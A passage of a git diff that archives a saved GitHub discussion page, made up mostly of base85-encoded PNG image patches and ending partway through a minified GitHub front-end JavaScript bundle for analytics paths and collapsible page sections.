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 JPDHLkV1jIY-|hea literal 0 HcmV?d00001 diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/33086936_004.png b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/33086936_004.png new file mode 100644 index 0000000000000000000000000000000000000000..5ba5de9491d93487fad7a8c930fb42132e842726 GIT binary patch literal 1547 zcmV+m2K4!fP)HW88;2bTPAlXZC`uZtN`V$6mP813X}8V=F}EtJDz!ySh&BVf?b4-9VP$Ce1CR&= z0cIjX6o?=Q93V@80md)@a)RySgmAx7??*>|{1qp4@+cC&DRvG%7gz1`aXWqhV7e`P z{%e3%@)x>OX%}>yLYet z`oUoE?c2BB_TnXUGMTjW!t=bh+@3+39k3B+v8cTNK64L0`Le z4LN3JW@K5$ld7uD&d%Bq&(6*&ih?bF{P=O^%o&DZIF8%i-tGkS_3PJ>BNB;Jt5rhC z=H}-5`a0Rk;NYN{I1-6ynnnoO*w{!U5`++0mV?0{a=&`@s=d(EF~czP^YZ|(v9W=N ztE;O3u(-HrhQ4&^5&*2Mtl(iHkpO_{>1jM{!FLl2rerc1kH_hu&*x(prdqAyp{8l{ zq#=I4pEjT$_U!qm>q@0EIXRin=iQUIHBFy9npi9b0OfM|e>;&RNl}!cp&@e@Cr_TN z)oPL?UAb~)Wo4yYE(5^u@UXs3Q_rO<=&h|S14keb$Ye75Hnm!9Zf?#_&GPcH;hL#b zips|DJnxdbF|^q+$8kvf^y$-BEVj54gE@1e(dhE>^5x5y$H&KUkiK*0P9P94_;xdX zH-L6IhPSECAnmT^=>>17xG%sGfICkuq z9r5YYr*pZSrPO=(?&<&YZhYH9n`dd3Ws&&#^XI+2y@qdPS^oCz+t}EcnfTnfbH9H5 zDwRrx^Hl1C2M=(Bap~I{+U%HR*>pM$0NHHzz<~p1GMpL-A^M@(=ku+uuGZ^y05C)A zrQW)A%fRj6+XC8rAG0j`@Zm!Mc=__B{?;@=D~du00e~AfZutHF-rn9+Duwg5s;ZXI zdZ~Bs-ZeZJcH@Z=I+aSEwIjxijEvxRAr_0Z?AR@|%k35bEG;eB5zo!d{r>%1-?%l$O+Z`vjz*(& zV|(@LRY{UGO|#qw3=It_iXur8Zh>)QYxv7}zpCJ#2{`~nv zi3LG8b?TIRlGe*&M~@z@)oS{(n5wErjvO&}F*rDgMYHww_07#qLP)h*jYJ|HDvM#L z@AK!+(*h(R#JK>esw%dWWqD?1rlSQ&jK0)6wUdUW-cTrnEpchy=~6GI`-gnmRtgr4q?SgJ={{C95Q|U_R{|5j7|NkcBPJ;<@sq_E<002ovPDHLkV1nkLAtC?( literal 0 HcmV?d00001 diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/50341827.png b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/50341827.png new file mode 100644 index 0000000000000000000000000000000000000000..63f1955c493175f08505d2858d3b0760857ad073 GIT binary patch literal 2838 zcmV+x3+eQUP)24gywLYi1d%B0SabF~gmSxG3CCio<$%cJ_dvT$Q8zBA@BZz+_d8fQU9w0A}AVCb< z@%~bU>nF`V>r`G)z@Erb(ZRuA3S&fKOZ9^ zL}WiUjNS|p0pR4IiRcBLe5{=uw0F}l;^brPXC@DC#N|RG2rN64|K|DkSsN0w#Xesbrty>DD zb!)Vm9qc23_HIi#l?&jBPq%vl0(3v4dkDxOatItEn}Xrleo23}y3i}=uH?!l!7cmNJ2fXkH9r`}iR#}7t}`C>On!Z3dH0B!AT z&r3h3!x|wciA*BhF-(hpw>f#@GqKrjn~ZPBkbglG^g}ox0Far?-`c(JI8Ha9Lroto zk9$iG`bP$M2h1H987Kpm1}I?wh_`@(V6lf`AQGVXAjD8`*)-0vf2=&|2DE3#xcB}2 z{oPCz1UEt)=7AxNY8@nqX%~(giJ9o@K29_Fw*(+b(oFyAc6H}ixL)JOfWAF{ci_|@ ziOvX+!*1<0<$e_sAQG*|r)cyz5yWONA0o<(^xbMcFirDlJjZ8w^?H2`HwDKY&2Cqw z%ymG)0f@j8dY}~SA@VrszDS&xwQtuR9u3;Fqd-4cd^mDuMDRisV05x9+GPX+rO=z$ z7qO0ASe~d=wpULM+AxeIvl7zmZ)VeQG#2ZR01iQvu4V}I?0a)hBn~MBZ5kf8_4Z+? zj?wg;nY+VNBZLXq(A;V&W4?zDBcP9w5-Lxn);$4Z=mi#sa5DSV=KaIG@KIshw(YXD z7Sv)9)MTlIG6on@TaTzU?kFhY1IfKMI7og=L~DK3$FoOyz;r)-Z{~jA={)&Kf-h)p z7CIqq1TkPh6m=9tDFg>0-}{FU1{x$nXf4$m>(#%vZ@1eiA~{qZwr$Th78ON~&J~Yl zvuRL4rsNcifQsHlI1VW;uj3#8-iS1B%JYIN`n<^4S$n$OE z`Fd@B)7omKD~>twW9_`L#GMR*w z321+#w%K3TFSE+Z51Y51>&tba%Gk8)h&btChN5zEbZhVHWjdoMBU#=g0vS&JmBGKw zes(D6s6Abr(NQ$0g z*NxrVW%>02>r=!iI0Q0+O)F#7<(1{wxTR`(W^Yc*Y7p^X?x@nj%mSW|<)ZSKYF(1o zTI*|HJZsMEQc}MZ#T_KpM6u9ltT%Qat*X~bC^2u=gAK$)Fe{7=e7-Ur?KDNx3(L=q zk|ls*sOHMkvi_>X6Svr1^GzDgSeN7tdAsuI?7^cgGM%V)WAiWOH{2ZNd3AqnN4we& z3_WUiLM!=W!uY=Zm+aZ+PgCR(XnLc*Stu6boltGPx>c;RjFd#|UF}{f6=eHzW=q{$ z{(NTt-a5F@BQ83g3b^>{4>wz8Q@v0M8?*^n+@mwd=CZeT?k2MBm^}J2ef(rwIA>4F zOM4Z0REw0-?uMdX68kJZtWr^itJ=;$?T4>s_ogdk*kTwdHvh<>+VqM&2$|D45ePz# zg@(jv1Ca#Q8R`DacM#EBOdkDe(FBvX?=s~$&fL@aP|8ubQPK@Q-%$~D0L#hnnp!>6 zT>R?E?$^t9%?SM+fzz_~zFcOnX5~ROoR1bq9Jr}4l)0aoqBh-l*lM-XE0=-NK)c=o z1-uHhGFLV)$lx6%?1amA>x8mf#dziic$68tlC7Q9mmbb;f3alm>40GFwfF8+lxroX z$`Hg`o6{L_trU3fz~!o!iqmsdhh$jw^NtnTu zl?@apAVcY5U)?tMpUmYBG^MC&?+);4S1iO4SO9J&L)5uq;`a=|WCofLMRI+bF{UXR z5f}|)v9&4LUI#fT(VesZrQjX931b)j!X>#(A{t)9S=ALovX!PBa?imMX@@L5|9bV z;otS`=KB+GN83wAM6AKqU?b|4Ic^IC<%TPXURP*6w6;(Mc!3)I@ehy(nJ~B~kXuJ1 zO*KXb`UgZyoh}amuD)``s3sFxj@xt{lZyV_zzB!kA$LUDEJh6l?ih4G29d9;)?V|2 z@pnQbsf#t^W8*ia_sj!5#*+i6GH+!IAX+k{r>IGqBR^ufQXmh01O5m^lOCY)YH4I> zB++EbNdND<|8shw z;_p8E1ZG-^o8s=mN(Ixk#k@oi!NV+=q9q!^;7;!B#8d*?p@nTOm;3e9FIyW2$zCPT z35Z$bHGdT4u|;(RKT1<)eG>u~Nv_^#UoTuuU1vOW0rK+s*RI!Jv-KFaC?i<`0&o4+ z19m*$(ekKM3Z1uG+)`hC=|XB#M|rQ0-up#vCW!_m5X-otbHq+TreneQ!El8zOgj9l zOv8LP_j)Ir=`Js7ilY4ft=||6jo4mZ2n8qv-{dWs3-^+a6VWdzok*BW6rut(v9fjf z?4?dfU9C@#kB)tm|8Jw#j%IPFAWs`&vJUfvnA1(U1NR|Da6$aIce!oa*K=2oc*=Nu zaC`5K8)wVIZWiVXn7M3`uM6=-{1guhJ9zLRdu@baFhMsUILrFAvsY8WbhSS1*(dLR zOi!8wfs;l-HbQ(0pZp@kN*jp%qzKT^%Xwy7_O;AKMNv|b^zcY7pUeOD+{b#Q5k_!^ zoe6eW0)YQuC`Nc9yo45U)a0z{?_aonG@foB$-Q#++=u3ymTrZ^skjMAieV>CE*r;9 zN==7r+Iz_4ZeWw$wpx|CHQN|i)^7HHa2U;j_3*^@|8Lx!{dA%6hVPykKyrwPY)|fj z>{w>S5EL$V$Fz-F8>;pI6h@Vyq0GRLTpBqwQYw{>rO&Heu&397c6N9E@aT`~#ex`9 zlgQ+`JO;Xvc&hCR=C$$eR-<(QTQO*U9w&h_U?#X>PZp3mp=-pb&=@$HPB zU!8dS@>`>o5k$=A^SNA3lB5^(u1Kn#@GS%Yn4Fw^0eHHyp5H?F=~%ZeuhahXwph2; oLm2<**uSdjA5k9v3;+QC{{_cV+~#5IKmY&$07*qoM6N<$f(5X4$^ZZW literal 0 HcmV?d00001 diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/50341827_002.png b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/50341827_002.png new file mode 100644 index 0000000000000000000000000000000000000000..8ef64b2c24c3cbe04945ff1d3784fa7eeb967e6c GIT binary patch literal 3124 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 x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 